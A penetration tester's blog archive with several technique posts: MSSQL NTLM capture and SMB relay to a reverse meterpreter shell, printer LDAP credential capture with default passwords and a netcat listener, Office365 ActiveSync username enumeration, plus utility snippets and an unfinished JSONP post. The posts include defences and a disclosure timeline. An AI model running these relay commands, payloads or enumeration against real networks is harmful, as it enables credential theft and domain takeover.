Category Archives: Tools and Techniques

Posts in this category are about tools and techniques that I find useful during a Penetration Test

MSSQL : You get admin! You get admin! EVERYONE GETS ADMIN!

TLDR: Domain Users permitted to authenticate to Microsoft SQL databases can use the limited privileges they are granted to run a stored procedure. The stored procedure can be used to send the database service credentials over the network. When the database service is configured with privileges, these can be cracked offline or relayed in order to escalate privileges. I have exploited this multiple times to escalate from domain user to domain administrator!

Finding MSSQL Server Instances

There are multiple methods to identify Microsoft SQL (MSSQL) Server Instances.

DNS

Including Domain Name Service (DNS) service records (SRV):

nslookup -type=SRV _sql._tcp.contoso.com

SPNs

Kerberos Service Principal Names (SPN):

ldapsearch -h dc1.contoso.com -b "DC=contoso,DC=com" -D "myuser@contoso.com" -W "servicePrincipalName=MSSQLSvc/*" "servicePrincipalName" | grep MSSQLSvc

Port Scanning

Or of course port scanning, however you should note that just scanning for the default ports (TCP 1433 and 2433) you will miss a lot of instances running on random ports. Instead you may wish to perform a UDP scan for port 1434 which presents the SQL Browser Service.

MSSQL Ping

This is my preferred method at the moment.

A number of utilities exist which can scan a network and interact with the MSSQL Browser Service in order to identify the TCP ports the MSSQL instances are running on.

However the tool I prefer is the metasploit auxiliary module mssql_ping, using the metasploit database.

msf > use auxiliary/scanner/mssql/mssql_ping

msf auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.0.0.0/22
 rhosts => 10.0.0.0/22
 msf auxiliary(scanner/mssql/mssql_ping) > workspace -a test
 [*] Added workspace: test
 msf auxiliary(scanner/mssql/mssql_ping) > show options

Module options (auxiliary/scanner/mssql/mssql_ping):

Name Current Setting Required Description
 ---- --------------- -------- -----------
 PASSWORD no The password for the specified username
 RHOSTS 10.0.0.0/22 yes The target address range or CIDR identifier
 TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
 THREADS 1 yes The number of concurrent threads
 USERNAME sa no The username to authenticate as
 USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)

msf auxiliary(scanner/mssql/mssql_ping) > set threads 20
 threads => 20
 msf auxiliary(scanner/mssql/mssql_ping) > run
 [*] 10.0.3.7: - SQL Server information for 10.0.3.7:
 [+] 10.0.3.7: - ServerName = TESTDMZ
 [+] 10.0.3.7: - InstanceName = MSSQLSERVER
 [+] 10.0.3.7: - IsClustered = No
 [+] 10.0.3.7: - Version = 9.00.5000.00
 [+] 10.0.3.7: - tcp = 5693
 [*] Scanned 1024 of 1024 hosts (100% complete)
 [*] Auxiliary module execution completed

Login to MSSQL

There are multiple utilities to bruteforce MSSQL, however I use Metasploit’s mssql_login module. One thing to note when using this module with Windows authentication is that the domain parameter is required but not shown in the normal options output.

Since MSSQL server instances may be on inconsistent ports across hosts, I use a modified version of mssql_brute.rc – a Metasploit resource script.

msf auxiliary(scanner/mssql/mssql_ping) > use auxiliary/scanner/mssql/mssql_login
 msf auxiliary(scanner/mssql/mssql_login) > show options

Module options (auxiliary/scanner/mssql/mssql_login):

Name Current Setting Required Description
 ---- --------------- -------- -----------
 BLANK_PASSWORDS false no Try blank passwords for all users
 BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
 DB_ALL_CREDS false no Try each user/password couple stored in the current database
 DB_ALL_PASS false no Add all passwords in the current database to the list
 DB_ALL_USERS false no Add all users in the current database to the list
 PASSWORD no A specific password to authenticate with
 PASS_FILE no File containing passwords, one per line
 RHOSTS yes The target address range or CIDR identifier
 RPORT 5693 yes The target port (TCP)
 STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
 TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
 THREADS 1 yes The number of concurrent threads
 USERNAME no A specific username to authenticate as
 USERPASS_FILE no File containing users and passwords separated by space, one pair per line
 USER_AS_PASS false no Try the username as the password for all users
 USER_FILE no File containing usernames, one per line
 USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
 VERBOSE true yes Whether to print output for all attempts

msf auxiliary(scanner/mssql/mssql_login) > set domain CONTOSO
 domain => CONTOSO
msf auxiliary(scanner/mssql/mssql_login) > set use_windows_authent true
 use_windows_authent => true
 msf auxiliary(scanner/mssql/mssql_login) > set username MyUser
 username => MyUser
 msf auxiliary(scanner/mssql/mssql_login) > set password MyPassword
 password => MyPassword

msf auxiliary(scanner/mssql/mssql_login) > resource mssql_brute.rc [*] Processing /opt/metasploit-framework/embedded/framework/scripts/resource/mssql_brute.rc for ERB directives.
 [*] resource (/opt/metasploit-framework/embedded/framework/scripts/resource/mssql_domain_login.rc)> Ruby Code (1048 bytes)
 RHOSTS => 10.0.3.7
 RPORT => 5693
 BRUTEFORCE_SPEED => 5
 BLANK_PASSWORDS => false
 USER_AS_PASS => false
 [*] 10.0.3.7:5693 - 10.0.3.7:5693 - MSSQL - Starting authentication scanner.
 [-] 10.0.3.7:5693 - 10.0.3.7:5693 - LOGIN SUCCESS: CONTOSO\MyUser:MyPassword (Correct: )
 [*] Scanned 1 of 1 hosts (100% complete)
 [*] Auxiliary module execution completed

Executing Extended Stored Procedures

There are a number of useful extended stored procedures within MSSQL Server which can be useful to an attacker. Although some like xp_cmdshell require elevated permissions within the database, others such a xp_dirtree and xp_fileexists can be executed with the guest permissions often granted to the domain users group.

xp_dirtree and xp_fileexist

These two stored procedures can be invoked with a UNC path in order to cause the database service to connect to the attacker’s machine over SMB.

Privileges of the Database Service

Even though we have connected to the database using domain credentials, the stored procedure is executed under the context of the account the database service is running as.

The MSSQL service can be configured to run as the local system account (a terrible idea, as escalating privileges within the database also compromises the server), a local service account, a local account, a domain account, or as a domain managed service account.

The misconfiguration I regularly see is for the database service to be running as a domain account with significant privileges – local administrator within the server estate, or even domain administrator!

Exploitation

There are two methods of exploiting this series of misconfigurations.

Capturing the Hash

First you can simply capture the hash and subject this to an offline bruteforce attack. This relies on the account being configured with a significantly weak password.

Multiple tools can be used to perform this attack such as Responder, or the Metasploit SMB Capture module.

I am not going to go into detail in this area as it is extensively covered elsewhere (for example HollyGraceful’s post).

SMB Relay

As always there are various tools to accomplish this as this technique has been around a long time.

I use the smbrelayx.py from the impacket library to relay the authentication to a host with SMB signing disabled, and use rundll32 to load a malicious DLL from a network share which establishes a reverse meterpreter shell.

In order to do this, you need to have 2 IP addresses as both smbrelayx.py and the network share both require the same port. This can be accomplished with the following command, assuming eth0 is your network interface.

ifconfig eth0:0 10.0.0.2 netmask 255.255.255.0

We can then create and host the payload using the generic_dll_injection metasploit module by @_castleinthesky

msf auxiliary(scanner/mssql/mssql_login) > use exploit/windows/smb/generic_smb_dll_injection

msf exploit(windows/smb/generic_smb_dll_injection) > set file_name exploit.dll
 file_name => exploit.dll
 msf exploit(windows/smb/generic_smb_dll_injection) > set share share
 share => share
 msf exploit(windows/smb/generic_smb_dll_injection) > set srvhost 10.0.0.2 srvhost => 10.0.0.2
 msf exploit(windows/smb/generic_smb_dll_injection) > set payload windows/x64/meterpreter/reverse_https
 payload => windows/x64/meterpreter/reverse_https

msf exploit(windows/smb/generic_smb_dll_injection) > set lhost 10.0.0.2
 lhost => 10.0.0.2
 msf exploit(windows/smb/generic_smb_dll_injection) > run
 [*] Exploit running as background job 0.

With our payload ready we can run smbrelayx.py pointing to a host with smb signing disabled (by default, all Windows hosts except domain controllers)

sudo smbrelayx.py -h targethost -c 'rundll32 \\10.0.0.2\share\exploit.dll,1'

We can then use the xp_dirtree and xp_fileexist stored procedures, to do this I use the Metasploit module mssql_ntlm_stealer:

msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set rport 5693
 rport => 5693
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set rhosts 10.0.0.7
 rhosts => 10.0.0.7
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set username myuser
username => myuser
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set password MyPassword
 password => MyPassword
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set domain CONTOSO
 domain => CONTOSO
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set use_windows_authent true
 use_windows_authent => true
 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > run

When the database service is running with administrative permissions, this can result in complete compromise of the domain.

Meterpreter Session 1 Opened

Defense

There are a series of insecure configurations at play here, I would recommend addressing them all to harden your environment. However most significantly, follow the principle of least privilege (1 and 2).

  1. Reconfigure the database to prevent authentication by all domain users. Ensure that only those who require access can authenticate to the database.
  2. Reconfigure the database service to run with minimum privileges, never as local system or an administrative account.
  3. Enable SMB signing, to prevent SMB Relay attacks.

It’s just a printer… What’s the worst that could happen?

As you would expect, office printers are often identified when conducting a penetration test of an office network. These devices often seem to be overlooked as there are usually more interesting and direct possibilities to pursue. However as organisations are becoming more security conscious and closing the wide open doors that have typically beckoned to me at the start of the assessment I have taken a renewed interest in these forgotten targets.

The type of printer I seem to see a lot on my engagements is Konica Minolta so that is what I am going to discuss. However I imagine many other makes can be exploited in a similar fashion.

Management Interface

Like a lot of systems, Konica Minolta printers have a Web management interface presented on port 80/443. A password is required in order to access the administrative settings, however unfortunately for a lot of organisations it has a default password that can be found with a quick Google search. There are a few variations depending on the model, but I usually find it is ‘1234567812345678’ or ‘12345678’.

A variety of options are available, however the one that has recently caught my attention is the LDAP connection settings.

A quick word about LDAP and AD

“The Lightweight Directory Access Protocol (LDAP) is a directory service protocol that runs on a layer above the TCP/IP stack. It provides a mechanism used to connect to, search, and modify Internet directories.” – https://msdn.microsoft.com/en-us/library/aa367008(v=vs.85).aspx

In a Windows domain environment you can use LDAP to interact with the Active Directory.

AD will allow a small amount of information to be disclosed with a ‘null bind’ (i.e. No username or password) however nothing like as much as the null sessions of old. In order to obtain a list of users a valid username and password must be used to bind to the server.

LDAP settings

On Konica Minolta printers it is possible to configure an LDAP server to connect to, along with credentials. In earlier versions of the firmware on these devices I have heard it is possible to recover the credentials simply by reading the html source of the page. Now, however the credentials are not returned in the interface so we have to work a little harder.

The list of LDAP Servers is under: Network > LDAP Setting > Setting Up LDAP

The interface allows the LDAP server to be modified without re-entering the credentials that will be used to connect. I presume this is for a simpler user experience, but it gives an opportunity for an attacker to escalate from master of a printer to a toe hold on the domain.

We can reconfigure the LDAP server address setting to a machine we control, and trigger a connection with the helpful “Test Connection” functionality.

Listening for the goods

netcat

If you have better luck than me, you may be able to get away with a simple netcat listener:

sudo nc -k -v -l -p 386

I am assured by @_castleinthesky that this works most of the time, however I have yet to be let off that easy.

Slapd

I have found that a full LDAP server is required as the printer first attempts a null bind and then queries the available information, only if these operations are successful does it proceed to bind with the credentials.

I searched for a simple ldap server that met the requirements, however there seemed to be limited options. In the end I opted to setup an open ldap server and use the slapd debug server service to accept connections and print out the messages from the printer. (If you know of an easier alternative, I would be happy to hear about it)

Installation

(Note this section is a lightly adapted version of the guide here https://www.server-world.info/en/note?os=Fedora_26&p=openldap )

From a root terminal:

Install OpenLDAP,

#> dnf install -y install openldap-servers openldap-clients

#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG 

#> chown ldap. /var/lib/ldap/DB_CONFIG

Set an OpenLDAP admin password (you will need this again shortly)

#> slappasswd 
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> vim chrootpw.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={0}config,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={0}config,cn=config"

Import basic Schemas

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=cosine,cn=schema,cn=config"

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=nis,cn=schema,cn=config"

#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
adding new entry "cn=inetorgperson,cn=schema,cn=config"

Set your domain name on LDAP DB.

# generate directory manager's password
#> slappasswd 
New password:
Re-enter new password:
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

#> vim chdomain.ldif
# specify the password generated above for "olcRootPW" section
dn: olcDatabase={1}monitor,cn=config
changetype: modify
replace: olcAccess
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none

dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcSuffix
olcSuffix: dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config
changetype: modify
replace: olcRootDN
olcRootDN: cn=Manager,dc=foo,dc=bar

dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcRootPW
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx

dn: olcDatabase={2}mdb,cn=config
changetype: modify
add: olcAccess
olcAccess: {0}to attrs=userPassword,shadowLastChange by
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
olcAccess: {1}to dn.base="" by * read
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read

#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "olcDatabase={1}monitor,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

modifying entry "olcDatabase={2}mdb,cn=config"

#> vim basedomain.ldif
dn: dc=foo,dc=bar
objectClass: top
objectClass: dcObject
objectclass: organization
o: Foo Bar
dc: DC1

dn: cn=Manager,dc=foo,dc=bar
objectClass: organizationalRole
cn: Manager
description: Directory Manager

dn: ou=People,dc=foo,dc=bar
objectClass: organizationalUnit
ou: People

dn: ou=Group,dc=foo,dc=bar
objectClass: organizationalUnit
ou: Group

#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif 
Enter LDAP Password: # directory manager's password
adding new entry "dc=foo,dc=bar"

adding new entry "cn=Manager,dc=foo,dc=bar"

adding new entry "ou=People,dc=foo,dc=bar"

adding new entry "ou=Group,dc=foo,dc=bar"

Configure LDAP TLS

Create and SSL Certificate
#> cd /etc/pki/tls/certs 
#> make server.key 
umask 77 ; \
/usr/bin/openssl genrsa -aes128 2048 > server.key
Generating RSA private key, 2048 bit long modulus
...
...
e is 65537 (0x10001)
Enter pass phrase: # set passphrase
Verifying - Enter pass phrase: # confirm

# remove passphrase from private key
#> openssl rsa -in server.key -out server.key 
Enter pass phrase for server.key: # input passphrase
writing RSA key

#> make server.csr 
umask 77 ; \
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]: # country
State or Province Name (full name) []: # state
Locality Name (eg, city) [Default City]: # city
Organization Name (eg, company) [Default Company Ltd]: # company
Organizational Unit Name (eg, section) []:Foo Bar # department
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
Email Address []:xxx@foo.bar # admin email
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []: # Enter
An optional company name []: # Enter

#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
Signature ok
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/emailAddress=xxx@roo.bar
Getting Private key
Configure Slapd for SSL /TLS
#> cp /etc/pki/tls/certs/server.key \
/etc/pki/tls/certs/server.crt \
/etc/pki/tls/certs/ca-bundle.crt \
/etc/openldap/certs/

#> chown ldap. /etc/openldap/certs/server.key \
/etc/openldap/certs/server.crt \
/etc/openldap/certs/ca-bundle.crt

#> vim mod_ssl.ldif
# create new
 dn: cn=config
changetype: modify
add: olcTLSCACertificateFile
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
-
replace: olcTLSCertificateFile
olcTLSCertificateFile: /etc/openldap/certs/server.crt
-
replace: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key

#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif 
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"

Allow LDAP through your local firewall

firewall-cmd --add-service={ldap,ldaps}

The payoff

Once you have installed and configured your LDAP service you can run it with the following command :

slapd -d 2

The screen shot below shows an example of the output when we run the connection test on the printer. As you can see the username and password are passed from the LDAP client to server.

slapd terminal output containing the username "MyUser" and password "MyPassword"

How bad can it be?

This very much depends on the credentials that have been configured.

If the principle of least privilege is being followed, then you may only get read access to certain elements of active directory. This is often still valuable as you can use that information to formulate further more accurate attacks.

Typically you are likely to get an account in the Domain Users group which may give access to sensitive information or form the prerequisite authentication for other attacks.

Or, like me, you may be rewarded for setting up an LDAP server and be handed a Domain Admin account on a silver platter.

Defence

This is not an issue with the device, it is doing exactly what it is supposed to do. You just need to configure it more securely 🙂

Defending against this issue should be relatively easy.

Change the default admin password to something long and complex, in line with your organisation’s password policy.

Do not use highly privileged accounts for a printer’s LDAP queries. Do use the principle of least privilege.

If possible restrict access to the administration interface to trusted hosts.

Office365 ActiveSync Username Enumeration

TLDR:

There is a simple username enumeration issue in Office365’s ActiveSync, Microsoft do not consider this a vulnerability so I don’t expect they will fix it, I have written a script to exploit this which is available here: https://bitbucket.org/grimhacker/office365userenum

What is ActiveSync?

Exchange ActiveSync in Microsoft Exchange Server lets Windows Mobile powered devices and other Exchange ActiveSync enabled devices to access Exchange mailbox data. Compatible mobile devices can access e-mail, calendar, contact, and task data in addition to documents stored on Windows SharePoint Services sites and Windows file shares. Information synchronized with the mobile devices is retained and can be accessed offline. [https://technet.microsoft.com/en-us/library/aa995986(v=exchg.65).aspx]

What is username enumeration?

Username enumeration is when an attacker can determine valid users in a system.

When the system reveals a username exists either due to misconfiguration or a design decision a username enumeration issue exists.

This is often identified in authentication interfaces, registration forms, and forgotten password functionality.

The information disclosed by the system can be used to determines a list of users which can then be used in further attacks such as a bruteforce – since the username is known to be correct, only the password needs to be guessed, greatly increasing the chances of successfully compromising an account.

The vulnerability

During the assessment of a 3rd party product which utilises ActiveSync, it was noted that the there was a clear response difference between a valid and invalid usernames submitted in the HTTP Basic Authentication Header.

Further investigation revealed that the issue was in fact in Office365 rather than the 3rd party product which was simply acting as a proxy. The domain for Office365’s ActiveSync service is trivial to identify if you have a mobile device configured to use Office365 for email (email app server settings): https://outlook.office365.com

In order to elicit a response from ActiveSync a number of parameters and headers are required, this is described in more detail here: http://mobilitydojo.net/2010/03/17/digging-into-the-exchange-activesync-protocol/

The username enumeration issue exists in the differing response to invalid vs valid usernames submitted in the Authorization header. This request header value consists of the username and password concatenated with a colon (:) separator and Base64 encoded.

The request below contains the following Base64 encoded credentials in the Authorization header: valid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 0
Authorization: Basic dmFsaWRfdXNlckBjb250b3NvLmNvbTpQYXNzd29yZDE=

This elicits the following response (“401 Unauthorized”) indicating that the username is valid but the password is not:

HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/8.5
request-id: ab308ea5-9a01-4a1a-8d49-b91b3503e83f
X-CalculatedFETarget: LO1P123CU001.internal.outlook.com
X-BackEndHttpStatus: 401
WWW-Authenticate: Basic Realm="",Negotiate,Basic Realm=""
X-FEProxyInfo: LO1P123CA0018.GBRP123.PROD.OUTLOOK.COM
X-CalculatedBETarget: LO1P123MB0899.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 401
X-DiagInfo: LO1P123MB0899
X-BEServer: LO1P123MB0899
X-FEServer: LO1P123CA0018
WWW-Authenticate: Basic Realm=""
X-Powered-By: ASP.NET
X-FEServer: VI1PR0101CA0050
Date: Wed, 14 Jun 2017 14:35:14 GMT
Connection: close
<snip>

The request below contains the following Base64 encoded credentials in the Authorization header: invalid_user@contoso.com:Password1

OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1
Host: outlook.office365.com
Connection: close
MS-ASProtocolVersion: 14.0
Content-Length: 2
Authorization: Basic aW52YWxpZF91c2VyQGNvbnRvc28uY29tOlBhc3N3b3JkMQ==

This elicits the following response (“404 Not Found” and “X-CasErrorCode: UserNotFound”)indicating that the username is invalid:

HTTP/1.1 404 Not Found
Cache-Control: private
Server: Microsoft-IIS/8.5
request-id: 6fc1ee3a-ec99-4210-8a4c-12967a4639fc
X-CasErrorCode: UserNotFound
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-FEServer: HE1PR05CA0220
Date: Wed, 28 Jun 2017 11:23:03 GMT
Connection: close
Content-Length: 0

By iterating through a list of potential usernames and observing the response, it is possible to enumerate a list of valid users which can then be targeted for further attacks. These attacks may be directly against the authentication, i.e attempting to guess the user’s password to compromise their account, or it may be as part of a social engineering attack e.g sending Phishing emails to known valid users.

It should be noted that this issues requires an authentication attempt and is therefore likely to appear in logs, and has a risk of locking out accounts. However it is also possible that a valid username and password combination will be identified, in which case the response is different depending on if 2FA is enabled or not.

If 2FA is enabled the response is (“403 Forbidden” with title “403 – Forbidden: Access is denied.”):

HTTP/1.1 403 Forbidden
Cache-Control: private
Content-Length: 1233
Content-Type: text/html
Server: Microsoft-IIS/8.5
request-id: 4095f6fa-5151-4699-9ea1-0ddf0cfab897
X-CalculatedBETarget: MM1P123MB0842.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 403
Set-Cookie: <snip>
X-MS-Credentials-Expire: 4
X-MS-Credential-Service-Federated: false
X-MS-Credential-Service-Url: https://portal.microsoftonline.com/ChangePassword.aspx
X-MS-BackOffDuration: L/-480
X-AspNet-Version: 4.0.30319
X-DiagInfo: MM1P123MB0842
X-BEServer: MM1P123MB0842
X-Powered-By: ASP.NET
X-FEServer: DB6PR07CA0008
Date: Fri, 07 Jul 2017 13:11:22 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>403 - Forbidden: Access is denied.</title>
<--snip-->

If 2FA is NOT enabled the response is (“200 OK”):

HTTP/1.1 200 OK
Cache-Control: private
Allow: OPTIONS,POST
Content-Length: 0
Content-Type: application/vnd.ms-sync.wbxml
Server: Microsoft-IIS/8.5
request-id: da269652-6e98-4b49-8f14-ab57e7232b17
X-CalculatedFETarget: MMXP123CU001.internal.outlook.com
X-BackEndHttpStatus: 200
X-FEProxyInfo: MMXP123CA0005.GBRP123.PROD.OUTLOOK.COM
X-CalculatedBETarget: MMXP123MB0750.GBRP123.PROD.OUTLOOK.COM
X-BackEndHttpStatus: 200
MS-Server-ActiveSync: 15.1
MS-ASProtocolVersions: 2.0,2.1,2.5,12.0,12.1,14.0,14.1,16.0,16.1
MS-ASProtocolCommands: Sync,SendMail,SmartForward,SmartReply,GetAttachment,GetHierarchy,CreateCollection,DeleteCollection,MoveCollection,FolderSync,FolderCreate,FolderDelete,FolderUpdate,MoveItems,GetItemEstimate,MeetingResponse,Search,Settings,Ping,ItemOperations,Provision,ResolveRecipients,ValidateCert,Find
Public: OPTIONS,POST
X-MS-BackOffDuration: L/-470
X-AspNet-Version: 4.0.30319
X-DiagInfo: MMXP123MB0750
X-BEServer: MMXP123MB0750
X-FEServer: MMXP123CA0005
X-Powered-By: ASP.NET
X-FEServer: AM5P190CA0027
Date: Mon, 24 Jul 2017 09:50:22 GMT
Connection: close

It should be noted that only users with a valid mailbox are considered to be valid users in this context, therefore a domain account may exist which this enumeration would identify as invalid.

I also checked if this issue affected Microsoft Exchange, or if it was limited to Office365. In my testing I found that only Office365 was affected. I reported this issue to Microsoft, however they do not consider username enumeration to “meet the bar for security servicing”, so I do not expect they will fix this issue.

My continuing mission to replace myself with a small script

In order to automate exploitation of this issue I wrote a simple multi threaded python script. It is available here: https://bitbucket.org/grimhacker/office365userenum

When provided a list of potential usernames (username@domain) this script will attempt to authenticate to ActiveSync with the password ‘Password1’. Valid and invalid usernames are logged along with valid username and password combinations (in case you get lucky).

Disclose Timeline

28 June 2017, 13:30: Emailed secure@microsoft.com with a PGP encrypted PDF explaining issue with example HTTP  requests and responses.

28 June 2017, 22:39: Response from Microsoft (note only relevant section of email included below)

“Thank you for contacting the Microsoft Security Response Center (MSRC).  Upon investigation we have determined that these do not meet the bar for security servicing.  In general, username enumeration does not meet the bar as there are many ways to do this and on its own it does not allow an attacker access or control in any way, as the attacker would still need to bypass login.”

29 June 2017, 09:54: Emailed Microsoft stating intention to disclose in a blog post unless they had any serious objections.

24 July 2017: Details and tool disclosed to the public.

Although I do not agree with Microsoft’s determination that username enumeration is not a security vulnerability, I would like to thank them again for their speedy investigation and response to my report.

Loading Dirty JSON With Python

Recently I needed to parse some data embedded in HTML. At first glance it appeared to be JSON, so after pulling the text out of the HTML using BeautifulSoup, I tried to load it using the json module, however this immediately threw an error:

ValueError: Expecting property name enclosed in double quotes: line 1 column 2 (char 1)

This is because,  despite first appearances, the data I was trying  to extract was a python object built from strings, lists, integers, floats, and dictionaries which had been passed to the ‘print’ statement. But it was quite close to JSON so I decided that the best course of action in this instance was to ‘fix’ the data so that I could load it as JSON.

First, as the error above indicates, double quotes are required, not the single quotes mostly (but not always prefixed with a ‘u’  (indicating unicode) which my data had.

After removing these I encountered the error:

ValueError: No JSON object could be decoded

This thoroughly unhelpful error sent me scurrying to Google. Apparently this error is thrown in a variety of situations, but the one relevant to my data was the case of the boolean key words (True and False) in python they are capitalised, but in JSON they need to be lowercase. (This error is also thrown when there are trailing commas in lists).

I used regular expression substitution to implement these alterations. I decided to share these few lines of code for my future self and anyone else who may find it useful. (Note that this worked for my use case, but as soon as exceptions stopped being thrown I moved on. Therefore it may not be a robust or complete solution. You have been warned.)

import re
import json

def load_dirty_json(dirty_json):
    regex_replace = [(r"([ \{,:\[])(u)?'([^']+)'", r'\1"\3"'), (r" False([, \}\]])", r' false\1'), (r" True([, \}\]])", r' true\1')]
    for r, s in regex_replace:
        dirty_json = re.sub(r, s, dirty_json)
    clean_json = json.loads(dirty_json)
    return clean_json

Cracking LM Hashes with Ophcrack – No GUI

Believe it or not, despite the fact it is 2016 I am still finding LanManager (LM) hashes on internal networks during penetration tests.

Although in my experience it is becoming more frequent that LM hashing has been disabled, and the hashes I am finding are for accounts that have not had their password changed since that time and therefore still have the password stored in this weakly protected format.

The LM hash format is weak because the maximum password length it can support is 14, password is uppercased, split into two 7 character chunks and then hashed separately. (Note this is not really accurate, but it is sufficient for this post. See here for an accurate description of the LM ‘hashing’ scheme.)

If you find (or are informed) that you have LM password hash storage, you should prevent Windows from storing a LM hash and change all account passwords the number of times required by the password history account option to completely purge the previous LM hashes.

I often use John the Ripper to crack a wide variety of hashes, however the weaknesses in the LM hash format have allowed Rainbow Tables (aka Lookup Tables) to be created which allow rapid recovery of the plain text password. Ophcrack an industry favourite tool to crack LM hashes using rainbow tables, I prefer to use it without the GUI in order to decrease the amount of resources it requires – in fact I have recently started running it on a server I have built for password cracking which does not have a GUI environment so command line usage is a must.

Since I pretty much always use the same options for Ophcrack I have created a simple bash function to which I can pass the pwdump file containing the hashes I need to crack. It is not pretty, but I have decided to share it in the hope that it will be of some use to others and my future self.

ophcracklm () {
 log=$(echo $1.log)
 outfile=$(echo $1.cracked)
 session=$(echo $1.ophcracklm_session)
 (set -x; ophcrack -g -v -u -n 7 -l $log -o $outfile -S $session -d /path/to/ophcrack_tables/ -t xp_free:xp_special -f $1)
}

This bash function will create log, output file, and session file names based on the hash file name passed on the command line, enable debugging mode in a sub shell of bash, and run ophcrack with the following options:

-g disable GUI
-v verbose output
-u display statistics when cracking ends
-n number of threads (I have this set to 7 for my machine, you may need to change it to suit)
-l log all output to the file name created based on the input file name
-o output cracked hashes, in the pwdump format, to the file name created based on the input file name
-S save progress of the search to the file name created based on the input filename
-d base directory containing the tables
-t tables to use separated by colons
-f the file to load the hashes from (I am passing the second command argument, the first contains the script name, the second is the first parameter)

Note that I am using bash’s debug output in order to echo the command that will be executed, and I am doing this in a subshell because it is automatically reverted.


As always, if you have any questions, comments or suggestions please feel free to get in touch.

Exploiting JSONP

JavaScript Object Notation with Padding (JSONP) is a technique created by web developers to bypass the Same Origin Policy which enforced by browsers to prevent one web application from retrieving information from others. JSONP takes advantage of the fact that in the eyes of the browser not all resources are created equal -JavaScript, images and a few other types can be loaded cross domain.

In order to pass data cross domain JSONP “smuggles” it within JavaScript and utilities a callback. i.e. The receiving domain includes a script tag with the source attribute set to a specific URL of the sending domain. This script from the sending domain contains the data that needs to be sent cross domains and passes it to a function of the receiving domain. The function on the receiving domain will parse data and use it as required.

